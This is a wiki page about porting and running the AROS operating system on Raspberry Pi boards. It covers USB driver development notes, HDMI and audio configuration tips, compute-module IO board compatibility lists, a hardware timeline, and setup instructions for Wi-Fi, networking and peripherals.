'base' (which does not contain anything machine-specific) and 'BSP' (Board Support Package) which contains all hardware-specific stuff. This way, for example, distribution makers can save up space on CD and make CDs with multiple platform support. Different configuration would load the same base with different BSP's. Next there was some part which is entirely missing on hosted. These are filesystems. Hosted ports do not need them to boot up, so on hosted they are left out. At the other hand, they are also architecture-agnostic. So i put them into 'FS' package (standing for 'filesystem'). USB Poseidon is one more big part. I made it into separate package in order to allow users to omit it if they don't need it (for example, to run on retro PCs without USB). Personally i have one. Again, Poseidon is hardware-agnostic (well, there are USB drivers but HCIs are pretty standard). AFAIK its HCI 1.0 compliant but not familiar enough with poseidons drivers, nor USB, to just hack away at the existing code. Perhaps once i'm more familiar with the workings I can merge in the changes needed to get it operating but for now I will focus on getting it running. Also our drivers have known issues so perhaps a fresh set of eyes might shed some light on what is going wrong. Another interesting question is whether Poseidon can operate on device side. Is it flexible enough? How similar is being a USB host and USB device? think it will need a bit of work on Poseidon's side. Until then I will force the driver into Host/Master mode in the init code, but leave open device etc to configure the chipset for either's use - and look at trying to add support for working in Device/Slave mode & switching modes once it's up and running. Actually USBROMStartup is some kind of kludge. Can there be any alternative? Could device drivers be self-installing, like our HIDDs? This would get rid of need to list them in USBRomStartup. * Model A and B limited to 150 mA per port. * Model B+ and Pi 2 introduced configurable 600 mA to 1.2 A support over all ports - anything above that requires a powered USB hub. Implementing the hardware driver that Poseidon uses to interact with the USB components. Have code in place to (try) and initialise the USB chipset, and configure host/device mode operation (though AFAICT Poseidon doesn't support device mode). Started to get the "virtual" root hub written for the single USB port so that Poseidon should at least list it correctly in the GUI - and try to interact with it to find peripherals. The BCM2835 uses a soft IP block from Synopsys’ DesignWare library (DWC), specifically the block is called dwc_usb_2_0_hs_otg_subsystem-ahb_se (“USB 2.0 Hi-Speed OTG Controller Subsystem w/AHB Interface SE”). There is no public documentation for this, and pretty much zero chance of anyone getting hold of it even with NDA. However, there's a Linux driver written by Synopsys ([https://github.com/raspberrypi/linux dwc_usb]). Specifically directories [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_common_port] and [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_otg]. The Synopsys code is actually under a fairly permissive licence – it's not GPL, it's similar to BSD (’don't sue us if it breaks’ is pretty much the only clause). So this should not be a barrier to porting the code. The code is really well written, with a nice partition between the work done by the driver (dwc_otg, which is fairly involved, given the host does more work than a conventional EHCI driver), and the interface to Linux (dwc_common_port). Probably only need provision of relevant changes to dwc_common_port. Other things to consider.... * Provision of necessary headers to get it to compile * Provision of necessary functions (main issues are wait queues, threads, work queues, tasklets, timers, spinlocks and mutexes (multithreading) ) * Interfacing between USB stack and the driver. dwc_otg/dwc_otg_hcd_linux.c looks like the place to start. the Linux bits of the headers are only required for the dwc_common_port library. dwc_common_port includes a variety of crypto functions which are not used – it appears to also be used for ultrawideband (UWB) and wireless USB (WUSB) drivers where crypto will be an issue, but it isn't going to be for plain wired USB. Every USB driver acts as an USB hub as well in order to let Poseidon control the state of USB ports. The code there was reading status of the only USB port in Raspberry's CPU but when changing the status it erroneously deleted some of the status bits, including the port enable one. It was so because those bits in the status register are of a type Read/WriteToClear. It means, if one does not want to change their value from 1 back to 0, one has to actually write the 0 value. Very practical thing e.g. in interrupt handlers, where one reads the interrupt status register to learn what was the interrupt reason, and writes it back to the same register in order to clear the interrupts. After fixing that code it turned out that the communication was still unsuccessful. Apparently the USB device was not understanding the host for some reason. That should not happen since the request sent was one of the standard ones implemented by virtually anything with an USB connector, assumed that Poseidon clears the data caches before forwarding the work to the USB drivers but that's the responsibility of the driver itself. The USB device responded and acknowledged the transmission! But why were all the request sent after address change failing with timeout? They should not. Once again, address set is supported just by anything. Tried to contact the device at address 0 once again and there it was, still responding properly. The enlightenment came. The bus address for DMA transmissions was, as it is in many bare metal USB implementations, just the pure memory address of the buffer as seen by the ARM cpu. Have "prefixed" it with the real location of uncached RAM and booted AROS once again. Trident saw this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 and this: Product : Vendor: Vdr=0424/PID=EC00 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 255 SubClass : 0 DevProto : 1 VendorID : 1060 ProductID : 60416 DevVers : 0200 and even this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 What are these things? The first one is USB hub built in the Raspberry. Thanks to this one the Pi machines (with exception of Pi0 and computing modules) have more than just one single USB port. The second one is the network chip in raspberry, the third one is my USB SD card reader which have just connected to see what happens. AROS tried, of course, to boot from it ;) So, the first step towards working USB is done. The control transfers are working as you can see above. Next step is to implement bulk and interrupt transfers, having the basics in place. Finally some error handling will be added and USB for Pi will be as complete as the PC version. [http://www.raspyfi.com/raspberry-pi-usb-audio-fix/ Issue with USB Audio] Audio [https://github.com/raspberrypi/linux/tree/rpi-patches/sound/arm audio] and its [https://github.com/raspberrypi/firmware/issues/2 very high speed message passing interface type of thing VCHI] The Model B+ added an additional voltage regulator for the audio output and an additional output driver to drive low-resistance loads like headphones. However it is still using pulse-width modulation (PWM), which has a major impact on sound quality the old Raspberry Pi used a linear voltage regulator to provide the 3.3V to many of the components on the board while the new one uses a switching regulator. Both can perform reasonably well. However switch mode power supplies often show higher noise figures Analogue audio Audio over HDMI rev 1.3 & 1.4 Ethernet 10/100 BaseT Ethernet RJ45 socket GPIO GPIO shouldn't be too bad but bear in mind it is already accessed in places so they would need to allocate pins etc through it (e.g. sdcard to flicker the activity light, serial debug to output data on the GPIO pins) Probably a resource rather than a device... Started an i2c driver that will need to allocate GPIO pins. Feel free to work on it if you are interested ;p GPU graphics with 2D and 3D acceleration Sadly none yet for 32bit but for 64bit... Miscellanous hdmi issues Setting the hdmi_force_hotplug=1 makes sure the Pi believes the monitor/TV is really there. You might also need to set config_hdmi_boost=4 or even higher (up to 9) if your display needs a stronger signal. If the display is a computer monitor or newer tv, use hdmi_group=1 (auto HDMI use) and if it is an older TV, try hdmi_group=2 (for DMT formats, i.e. for PC monitors) then you HAVE to "set hdmi_drive = 2 to enable HDMI output as this forces HDMI mode rather than DVI mode Do not set hdmi_safe=1 as that overrides many of the previous options. Using a shorter or better quality HDMI cable might help. Make sure your Pi's power supply delivers 1 A and not 500 mA. If you see a problem with the red colour - either absent, or interference - then try a boost composite video changing the RCA cable, then the composite port worked out of the box Boot it as you are doing, without HDMI. If you now plug in the HDMI, do you get the image? In other words, does the Pi think HDMI is connected even when it isn't? Rename all the files in the first partion of the card except bootcode.bin, start.elf and fixup.dat What's the result? Put back config.txt What's the result? for PAL mode sdtv_mode=2 dmi_ignore_hotplug Pretends HDMI hotplug signal is not asserted so it appears a HDMI display is not attached hdmi_ignore_hotplug=1 Use composite mode even if HDMI monitor is detected <pre> # NOOBS Auto-generated Settings: #hdmi_force_hotplug=1 #config_hdmi_boost=4 #overscan_left=24 #overscan_right=24 #overscan_top=16 #overscan_bottom=16 #disable_overscan=0 start_x=1 gpu_mem=128 </pre> tvservice -c "PAL 4:3" <pre> /opt/vc/bin/tvservice -s or tvservice -s state: HPD high|HDMI mode|HDCP off|composite off (0x12001a), 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m CEA Group CEA has 1 modes: (native) mode 16: 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m DMT Group DMT has 0 modes: </pre> sudo amixer cset numid=3 1 forces the audio to the headphone jack, even with the HDMI video output plugged in config.txt the hdmi_ignore_edid_audio=1 option sems relevant as it should tell ALSA that the only available audio is analog, no matter what the display says There are several different ways that these 4 pole (ring) composite analog cables can be wired up, so some work great in some applications and can be a waste of time in others. What is needed for the Raspberry Pi B+ and above, which like many camcorders needs the ring contact next to the base contact to be the ground. The wiring for the 4 pole are: TIP (LEFT AUDIO CHANNEL) RING 1 (RIGHT AUDIO CHANNEL) RING 2 (GROUND/EARTH) RING 3 BASE/SLEEVE (VIDEO) YELLOW Most Apple based Players and the Microsoft Zune (TM) are wired this way. Most analogue camcorders are wired this way as well, where the ground in on Ring 2 will work with the Pi although you may need to swap your Video plug with the Right Audio plug. Nearly all other MP3 players are not wired this way, the ground is on another ring ie the wrong one. External devices * Camera Module Omnivision ov5647 Sunny 5MP (NoIR version) V1.3 - NoIR at 850&nbsp;nm, peak at 880&nbsp;nm and trails off at 940&nbsp;nm wavelengths * Camera V2 Sony IMX219 V2.1 8mpixel 8MP 8megapixel - 3280 x 2464 pixels - video at 1080p30, 720p60 and 640x480p90 - wider field of view, 62 vs 54 degrees horizontally - * Branded WIFI usb BCM43143 dongle N.B. dreaded error after changing cameras (stupidly without turning off the power first) and lasted through several power cycles. It can be a bad 15-pin FFC ribbon cable, when swapped, camera(s) and the Pi itself are working OK. It can be an instance of a cold solder joint on the CSI connector on the pi board. the camera can be detected (that's done via I2C) but may still not be able to receive image data (done via CSI-2) if something is broken. CSI-2 is uni-directional. Control is generally done via I2C. The CSI-2 receiver always writes to memory, not direct to the ISP. That's the way the Broadcom architecture works as it allows multipass processing easily. GPU memory is accessible from the ARM. Processing using the QPU graphics processors may be possible. currently the only supported sensor is OV5647 and IMX219. The linux drivers are all in the firmware blob, else you'd be looking at at least a man-month of work in a fully fledged imaging lab to do a decent tuning of the camera modules' ISP parameters. Static electricity maybe an issue for the camera module and slightly less for the pi board. == References == Testing procedure is put sd card in, connect board to board if necessary, plug in hdmi and then power nothing else is done especially CSI DSI etc [https://www.raspberrypi.com/documentation/computers/compute-module.html CM5] has the same 55mm x 40mm 2x100pin connectors form factor as the CM4 but [https://www.epdtonthenet.net/article/214508/Key-Considerations-When-Migrating-from-Raspberry-Pi-CM4-to-CM5.aspx some pins and other small things] have changed. Will need the [https://raspipcb.com/tech-blog/raspberry-pi-cm4-vs-cm5-difference-in-booting-from-sd-card/ right IO board to suit] *Green [ Raspberry Pi Compute Module 5 IO Board REV2 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1967]] - untested *Green [ RPi Compute Module 5 IO board REV1 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1751]] - untested *Black SupTronics Geekbord X1500 CM5 IO Carrier Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[https://sipeed.com/nanocluster Sipeed NanoCluster] - untested up to 7 CM5 *Green BentoIO CMX0 - untested *Box EDATec ED-CLAWBOX - untested *Home Assistant Yellow - Kit with PoE with Raspberry Pi Compute Module 5 - untested *Blue [https://www.waveshare.com/wiki/CM5_PoE_BASE_A Waveshare CM5-PoE-BASE-A] - untested *Box Waveshare [ CM5-POE-BOX-A] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-B Waveshare CM5-IO-BASE-B] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-A Waveshare CM5-IO-BASE-A] - untested *Blue Waveshare [https://www.waveshare.com/wiki/CM5-NANO-B CM5-NANO-B] - untested *[https://carboncomputers.us/products/pi-flux piFlux] *[https://carboncomputers.us/products/ Zitaotech Hackberry] CM5 lite only - *Portable [https://www.waveshare.com/pocketterm35.htm Waveshare PocketTerm35] with Pi4B or Pi5 - untested *Box [https://www.clockworkpi.com/uconsole ClockworkPi uConsole][https://www.youtube.com/watch?v=EtI_bAahbR8 CM4 into an adapter or CM3 into so-dimm - Cyberdeck] - untested *Green RPi [https://datasheets.raspberrypi.com/cm4io/CM4IO-KiCAD.zip Compute Module 4] [https://datasheets.raspberrypi.com/cm4io/cm4io-datasheet.pdf IO board] V1.4 [https://datasheets.raspberrypi.com/cm4io/CM4IOUSB3-KiCAD.zip USB3] [https://datasheets.raspberrypi.com/cm4io/cm4iousb3-appnote.pdf CM4ISO] [https://datasheets.raspberrypi.com/cm4/cm4-datasheet.pdf Dual100pin] (2020) aka Development Platform Board - untested *Purple Pi Hut Cytron CM4 Maker Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[ KubeSail PiBox mini 2] *Home Assistant Yellow with Raspberry Pi Compute Module 4 - untested *[ Turing Pi V2] - untested CM4 with 260-pin SO-DIMM socket adapters and/or nvidia jetson nanos - untested *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-C Waveshare CM4-IO-BASE-C] - untested but binary blobs Rev01 Rev02 *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-B Waveshare CM4-IO-BASE-B] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-A Waveshare CM4-IO-BASE-A] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-NANO-B Waveshare CM4-NANO] - untested but usb and audio turned off or rerouted CM3 has a 200 pin sodimm ddr2 connector form factor but not electrically SC0028, SC0029 *Blue [https://wiki.geekworm.com/CM_IO_Board Geekworm RPi Compute Module IO Board] [https://github.com/geekworm-com/cm-io-board CSI DSI] with CM3 in ddr2 slot underside - '''works''' if SW1 on but CM3+ '''does not''' *Green [https://cdn-shop.adafruit.com/product-files/3442/CMIO_schematic.pdf RPi V3 IO board CM3IO] and CM3 Lite - untested *Green [https://turingpi.com/ turingpi v1 cluster] - untested up to 7 cm3 7xlan9514 12V discontinued, 3 x Pi4 homelab maybe better *Blue [https://www.waveshare.com/wiki/Compute_Module_PoE_Board Waveshare Compute Module PoE Board] and CM3 lite (if not lite, write files to internal eMMC fat32) '''AVOID''' bin blobs *Blue [https://www.waveshare.com/compute-module-io-board-plus.htm Waveshare Compute Module IO Board Plus] [https://www.waveshare.com/wiki/Compute_Module_IO_Board_Plus wiki] [https://forums.raspberrypi.com/viewtopic.php?t=235695 pin settings] with CM3+ Lite - '''AVOID''' binary blob *[ Pi02w on Geekworm SupTronics X305 Raspberry Pi Zero IO Baseboard] - untested *[ Spotpear Pi Zero 2w to Pi3b format-ish] - untested *[ pi-top v4] box has 128x64 oled display, micro hdmi, 19Whr battery with pi4 and 15V PD 36W min needed *[ pi-top v3] three green pieces, heatsink covers most of the base tray, pi-top hub mk1 lhs and Pi1B Pi2b Pi3b rhs secured from below, black rounded strip with pi-top above keyboard, 13.3" HD 1366 x 768 display, small touchpad, *[ pi-top Model 2.0] pi-top on bottom bezel of 14-inch green laptop, large trackpad, keyboard slide down to reveal main system hub on slide rails moved to the right, Raspberry Pi3b screws down, hub slides in, 18V 2.5A 45W charger brick, battery 11.1V 3500mAh 38.85Wh and storage PiTopOS *[ Pi-Top CEED Raspberry Pi Modular Educational Desktop with RPI3] monitor *[https://www.indiegogo.com/en/projects/jesselozano/pi-top-a-raspberry-pi-laptop-you-build-yourself Pi-Top v1] wedge laptop with RPi2 <pre> 2008 Trustees collected for Foundation 2009 Pi Foundation charity status gained 2010 2011 First Raspberry prototypes 2012 First boards go on sale at CPC and RS. The Model A and B 700 MHz Arm11 - February 29th BCM 2835 2012 First million sold - more than the 10,000 original planned and anticipated 2013 First Alpha Experimental builds of AROS Native for the 32bit Pi 2013 Pi Trading launched making grants available, providing in house educational resources and Pi Academy for teacher training 2013 Over two million sold 2014 Over three million sold 2014 Pi 1 Model B+ introduced that moved composite video to audio jack and same half gig of memory 2014 Pi Model A+ v1.1 no ethernet and 1 usb - a little smaller - 2015 Over four million first gen pis sold 2015 Pi Zero 1.2 BCM2835 first production revision released with no camera port 2016 Pi0 1.3 released with camera csi connector 2017 Pi Zero W v1.1 1GHz Pi0W, single-core 32bit CPU BCM2835 released with Cypress CYW43438 wireless 2020 Raspberry Pi Pico SC0919 with RP2040 32-bit 2Core ARM Cortex-M0+ up to 133 MHz - 264KB of SRAM and 2MB of on-board QSPI Flash - 2024 Raspberry Pi Pico 2 with RP2350 2Core 32bit Arm Cortex-M33 and 2core open-hardware [https://github.com/wren6991/hazard3 Hazard3 RISC-V] 2015 Pi 2 Model B v1.1 BCM2836 900/600 MHz ARM Cortex-A7 Armv7 quad 32bit, 32bit VideoCore IV GPU - 1Gb RAM - 5V 2A micro usb - SMSC LAN9514 chip - 2015 Over a million pi2s sold 2015 Raspberry Pi 2 Model B version 1.2 Pi2bv1.2, aka Pi2B2 has armv8 BCM2837 underclocked to 900Mhz without wifi/bluetooth module 2016 Pi 3 Model B - Broadcom BCM2837 SOC four 64bit ARMv8 Cortex-A53 1.2GHz 32bit 1080p VideoCore IV GPU - 1Gb DDR2 - bluetooth 4.1, Cypress CYW43438 wireless 802.11n - 4 x USB2.0 ports - 5.1V 2.5A - SMSC LAN9514 chip 2016 PIs total over 10 million worldwide 2017 Compute Module 3 CM3 with BCM2837B0 armv8 Quad 64-bit - small 67.6mm x 31mm board which fits DDR2 SODIMM connector but not electrically compatible which plugs into needed IO board - beware of the I2C protocol issue 1Gb LPDDR2 RAM - Lite or 4Gb Emmc storage 2017 12 million pis sold in total 2018 Pi 3 Model B+ - 4c A53 BCM2837B0 1.4Ghz - 1Gb, wireless 802.11ac, gigabit ethernet (300Mbit/s) and bluetooth 4.2 - power over ethernet - 4 x USB2.0 ports - Microchip LAN7515 chip 2019 Over 15 million sold 2019 Pi 3 Model A+ with BCM2837b0 Cortex-A53 64-bit SoC @ 1.4 GHz with 512Mb LPDDR2, 1 usb2, 1 hdmi, 1 micro usb 5V 2A - no ethernet - 2019 Raspberry Pi Compute Module 3+ CM3+ - Broadcom BCM2837B0 1.2Ghz, Cortex-A53 (ARMv8) 64-bit SoC on DDR2 SODIMM mechanically compatible only factor - IO board required 1Gb DDR2 and 8GB, 16GB, 32GB or a Lite variant without eMMC 2021 Pi zero 2 (w or no W) RP3A0 quad 1GHz Cortex-A53 64bit BCM2710A1 512mB SDRam 2025 edaTEC CM0 ED-CM0NANA with additional dev board with quad 1Ghz A53 with 512Mb Raysan RAM, 2 USB2 and 10/100 ethernet - pico castellated edge 2019 Pi 4 Model B RPI4B - BCM2711B0T quad 64bit A72 1.5GHz, 4K VideoCore VI, AC wifi, Bluetooth 5.0, GbE Broadcom BCM54213PE (PHY ID 0x600d84a2), 2 micro hdmi decode up to 4K, USB-C 5.1V 3A power, 2xVLI VL805 USB 3, 2xUSB 2.0, 2GB 9LDWW D9WHZ or 4GB 9FDWW D9WHV, 8GB 0AA47 D9ZCL ddr4 ram 2020 Silent Pi 4 v1.2 upgrade with more USB-c psu support 2020 PI400 BCM2711C0T 1.8GHz 4Gb DDR4 inside keyboard, 5.1V 5A 27W usb-c psu, 2 micro hdmi, external ide style 40pin gpio, no audio port - 2020 Raspberry Pi Compute Module 4 BCM2711B0T on new 55mm x 40mm 2x100 pin form factor with extra breakout IO board CM4101000 1Gb RAM Lite SOM CM4102000 2GB RAM Lite CM4104000 4GB RAM Lite CM4004008-4GB-RAM 8GB-EMMC SOM System on Modules CM4104032 4GB RAM 32GB emmc CM4108000 8GB RAM Lite CM4008016 8GB RAM 16Gb eMMc 2021 Raspberry Pi SC0763 Compute Module 4S CM4S with ddr2 sodimm pinouts but not electrically the same with suitable IO board extra cost - CM4S01000 1GB RAM Lite CM4S01008 1GB RAM 8GB eMMC Flash CM4S02000 2GB RAM Lite CM4S04000 4GB RAM Lite CM4S08000 8GB RAM Lite 2021 Pi 4 v1.4 BCM2711B1 upgraded power regulator, to deal with 8gig of ram being more power hungry - 2021-48 Raspberry Pi 4 model B v1.5 2GB 2023 Pi 5 v1.0 BCM2712 Quad A76 @2.4Ghz - VideoCore VII - no audio socket - dual 4k from mini hdmi - fan connector - 5.1V 5A psu 2024 Pi 5 2GB DDR4 version uses BCM2712D0 2024 Pi-500 with 8Gb LPDDR5 and membrane keyboard 2024 Pi 5 v1.1 2024 Raspberry Pi Compute Module 5 CM5 BCM2712 55mm x 40mm form factor with additional IO board CM5004000 04GB RAM 0GB eMMC Lite CM5008000 08GB RAM 0GB eMMC Lite CM5016000 16GB RAM 0GB eMMC Lite 2025 Pi-500+ with 256GB NVMe storage, 16GB LPDDR4 RAM, and Gateron KS-33 Low Profile Blue mechanical keyboard switches 2025 Pi5 1GB DDR4 announced 2022 PiOS linux goes 64bit 2024 Pi Trading IPO stockmarket stock exchange listing 2026 April and May Aros 64bit fixed, added AHI audio, VC4 gfx started, usb functions added to rom 2026 June and July Aros 64bit usb2otg started, dma.resource, sdio.resource, bwfm.device wifi added 2026 Late July daily 64bit Pi3 LE little endian builds start 2026 August Pi 4, 400, 5 and 500 DTBs added, expanding existing support and wifi for Pi4 and Pi5 2026 August Pi5 HAT+ nvme and HDMI, AHI RPiI2S added, Pi4 HVS5 video scaler started, 2026 2027 2028 Pi 6 </pre> ==Future== [https://github.com/ARMSX2/ARMSX2 Arm pi of pcsx2] {{BookCat}} fl2dibdmv5kn8homndc3f786wjwgvgw 4670872 4670681 2026-09-18T07:10:54Z Jeff1138 301139 4670872 wikitext text/x-wiki {{ArosNav}} [[#Native]] [[#Hosted]] [[#Build]] [[#Hardware]] [[#References]] [[#Future]] ==Introduction== [[File:Scalos00.png|thumb|Scalos on Aros Pi3b]] Aros aims to cover Pi 3 to 5 1Gb+ RAM ideally as you may have to switch to 256Mb gfx mode depending on the application running Options to boot from using a good power source to prevent the yellow lightning symbol. *With Pi3b+ the max you can get is 5.1V 2.5A with micro usb. *With Pi4 5.1V 3A with usb-c *With Pi5 5.1V 5A, the amps went ever upwards, even to 5.1V 9A with usb-c Pi500+ keyboard wedge - Pi400 RPI-400 keyboard wedge - resolution changing and audio from micro hdmi0 (near 40pin) and micro hdmi1 (near usb-c psu) - Fn F10 0x5e power on and off works or held down for over 7 seconds auto shutdown - keyboard ok - wifi and lan ethernet testing - * Pi 5 - Quad A76 64bit ARMv8 and RP1 "southbridge" with VideoCore 7 Pre-D0 (Rev1.0) or D0 (rev1.1) * Pi 4 - Quad A72 64bit ARMv8 with VideoCore 6 * Pi 3 - Quad A53 [https://www.raspberrypi.com/documentation/computers/processors.html 64 bit] ARMv8 with VideoCore 4 with heatsink/fan on 3b to prevent cpu 82C+ throttling * Pi 2 - Quad 32bit ARMv6 with VideoCore 4 - mostly not 64bit compatible * Pi Model B+ 32bit ARMv6 with VideoCore 4 - not 64bit compatible * Pi Model A and B 32bit ARMv6 with VideoCore 4 - not 64bit compatible ===Native=== * 2013-03 Kalamatee starts work * 2015-04 Work continues with mschulz on the kernel and Kalamatee (NicJA) on gpio and usb * 2018 [https://www.patreon.com/posts/i-owe-you-some-20956961 mschulz resume adding BE big endian support], [https://www.patreon.com/michal_schulz/posts Big endian on Pi] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bsek latest commits for pi 3b, 4 and 5 64bit] * 2026 [https://github.com/aros-development-team/AROS/commits?author=metaneutrons latest commits for Pi5] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bitplane latest commits for ARM] '''Download''' [https://aros.sourceforge.io/nightly1.html RaspberryPi 3, 3+, 4 and 5 64bit ArmV8 builds] [https://sourceforge.net/projects/aros/files/ Alternative site and nightly2] both raspi-aarch64-system and raspi-aarch64-contrib can be unbz2'd and copied to fat32 8GB+ microSD card (there will be folders - boot c Classes Demos Developer Devs Extras etc only showing). The SD can be plugged in to the Pi 64bit build works well on a single core LE little endian. Multicore [https://github.com/aros-development-team/AROS/commit/1df0747c2bda3523a43029725a709b1f377d84ec may follow]. Any issues booting could be down to the SD card so please use another SD to see if it is resolved. Please report your experiences in the [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80 Aros Raspberry pi 3 64bit thread] and on the [https://forums.raspberrypi.com/viewtopic.php?p=2387984#p2387984 Raspberry Pi forum thread] Boots with '''USB3''' port based sata3 ssd on Pi400 but untested on Pi4 (may need eeprom update from PiOS or Pi SD Imager) and Pi5 Pi 3 B+ is pre-configured for USB sata3 boot - untested Pi 3 B may need [https://www.youtube.com/watch?v=ubnwvxF3Klc PiOS to set OTP to boot from usb - do so at your own risk] - if OTP set to usb, boot works but slower than SD card Speed write wise (top faster) <pre> *NVME Pi5 untested >1000MB/sec or faster if matched correctly *Sata3 ssd 500MB/sec *SD V90 90MB/sec 4K maybe 8K *SD V60 60MB/sec 1080p *SD U3 V30 30MB/sec 720p *SD C10 U1 V10 A1 A2 10MB/sec minimum should be used now *SD C06 6MB/sec *SD C04 4MB/sec </pre> As a homage to the past, Aros shows a reduced number of icons but this can be changed by left mouse click in the window and then right click down to Window -> View -> All files Windows can be manipulated by the top (moving) and the bottom right corner (resizing) only. Like most amiga like OSs the audio and networking need to be setup manually Audio AHI prefs - Mode settings tab - needs both Music unit and Unit 0 set to RPiHDMI:16 bit stereo++ or RPiPWM:16 bit stereo++ at 44100Hz. Press '''Save or Use''' button after each choice Double left mouse click on most picture (Developer/Debug/Tests/Datatypes), audio and video files are supported, via datatypes, by the multiview application. Esc escape key usually closes open windows even the desktop In Prefs/Appearance some decorative theming elements need work. There is a few Mason icons in /Prefs/Presets/Icons/Mason/ and the ever present default Gorilla - Icon exchange in works For more intensive graphics applications, you may need to edit config.txt in the root folder and change 128M to 256M to adjust more memory to graphics usage [http://archives.arosworld.org/index.php?function=browse&cat=network/browser amelinium web browser] is available with an [https://eab.abime.net/showthread.php?t=122494&page=51 eab thread] reminiscent of [https://github.com/zapek/Voyager Voyager] and to a lesser extent [https://github.com/amigazen/aweb3/ Aweb]. [[File:Wifi00.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi01.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi02.png|thumb|Setup wifi on Aros Pi3b]] Wifi setup needs the network prefs with the TCP/IP tab click add interface -> change Device to bwfm.device as net0:, IP Mode as DHCP and IPv4. Wireless tab gets your router settings. If it does not set to start at boot, settings are preserved. Instead, add this to the user-startup: <pre> execute sys:system/network/arostcp/s/startnet run wirelessmanager device=bwfm.device >nil: </pre> Network will start automatically on boot. If you don't want the wirelessmanager icon on Wanderer desktop, just add 'nogui' to the wirelessmanager line Lan ethernet port on *lan9514 Pi3b Pi2 no support at the moment *lan7515 Pi3b+ type into Device usblan78xx.device as net0: remove other device(s) *bcmgenet Pi4 Pi400 choose for Device bcmgenet.device Summary *3b ethernet not supported, usb ethernet not working and setup wifi has interface issues *3b+ seems to work wifi and ethernet *4 untested *400 seems to work wifi and ethernet (with interface issues) There is normally no Bluetooth support for most amiga like OSs but Aros has one [https://github.com/aros-development-team/AROS/commit/6942cbfbf66426d21963a7fcd8aba6aff611a9e0 work in progress] [https://forums.raspberrypi.com/viewtopic.php?t=338466 firmware] *Bluetooth 4.1 BCM43430A1.hcd Pi3B, Pi3A, Zero 2W *Bluetooth 4.2 BCM4345C0.hcd Pi3B+, Pi4 *Bluetooth 5.0 BCM4345C5.hcd Pi4B rev, CM4 and maybe Pi5 and CM5 *bthid keyboard mouse support *btserial serial *btpan short range wireless connecting devices Only the Pi5 has a RTC real time clock, the other Pis will need to use Extras:Networking/utils/ntpsync/ or [https://archives.arosworld.org/index.php?function=browse&cat=network PiNTP] to get the date and time from the internet It helps to have all usb devices already plugged in before power on to detect at the moment. Even then some usb devices will freeze the mouse cursor and the only resolution is to remove the offending usb device and reinsert. Sometimes, the reinsert leads to the mouse cursor vanishing, it is still there and responds to left and right clicks. USB classes support from Prefs/Trident is still work in process *usbaudio working on usb3 port (blue) on pi4, 400 but not working (no rt isochronous) on usb2otg (white or black) for pi3b, zero 2w *[https://aminet.net/package/mus/midi/camd camdusbmidi] detects midi devices without a preferences file (Prefs/Env-Archive/sys/midi.prefs) as [https://www.youtube.com/watch?v=RBxHkwy4Nrw auto setup now] possibly with [https://github.com/metaneutrons/mt32-pi metaneutrons mt32-pi] [https://github.com/rtzor/mt32-pi mt32-pi fork] [https://github.com/ahmadexp/mt32-pi fork] [] [https://github.com/dwhinham/mt32-pi mt32-pi pi3+] as well as need developer gcc tools to look at 64bit ports of [https://archives.arosworld.org/?function=showfile&file=driver/audio/usbmidi.i386-aros.lha usbmidi], [https://aminet.net/package/mus/midi/CAMD_Toolkit CAMD_Toolkit], [https://aminet.net/package/mus/midi/camdtools camdtools], [https://github.com/cnvogelg/amiditools amiditools], [https://github.com/timoinutilis/midi-sequencer-amigaos horny src], [https://aminet.net/package/mus/midi/horny-base horny-base], [http://bnp.hansfaust.de/index.html BnP], [], Regarding 680x0 emulation, there are several options that could be considered *[https://github.com/aros-development-team/AROS/blob/6722a0ae9e03fe5d26e32703360bd2059e0864cc/rom/m68kemu/README.md?plain=1#L424 m68kemu.library] for some Amiga productivity where the cpu is emulated and the system calls are redirected to Aros ones *[https://github.com/BlitterStudio/amiberry amiberry] (winuae) for everything else like games *[https://github.com/jonx/AROS/tree/aarch64-darwin-graft/arch/all-darwin/libs/emu68k emu68k] *[https://scriptedamigaemulator.net/ Scripted Amiga] with [https://github.com/naTmeg/ScriptedAmigaEmulator ScriptedAmigaEmulator] or older [https://github.com/gbraad-amiga/ScriptedAmigaEmulator2 ScriptedAmigaEmulator2] [https://pinout.xyz/ GPIO 40 pins] [https://learn.sparkfun.com/tutorials/raspberry-gpio/gpio-pinout pinout] Some exceptions: *Physical pins 27, 28 (GPIO0, 1) are an internal I2C bus and should not be used *The other I2C on pins 3, 5 (GPIO 2, 3) can be used generally, but be aware they have permanent pull-up resistors to 3.3V *For MIDI use USB but there are dedicated UART pins 8, 10 (GPIO 14, 15). With a HAT it's more awkward -- you need to know which pins are used by the HAT and avoid them. Hopefully this will be documented. Remember all GPIOs are 3.3V (not 5V tolerant), floating/noisy 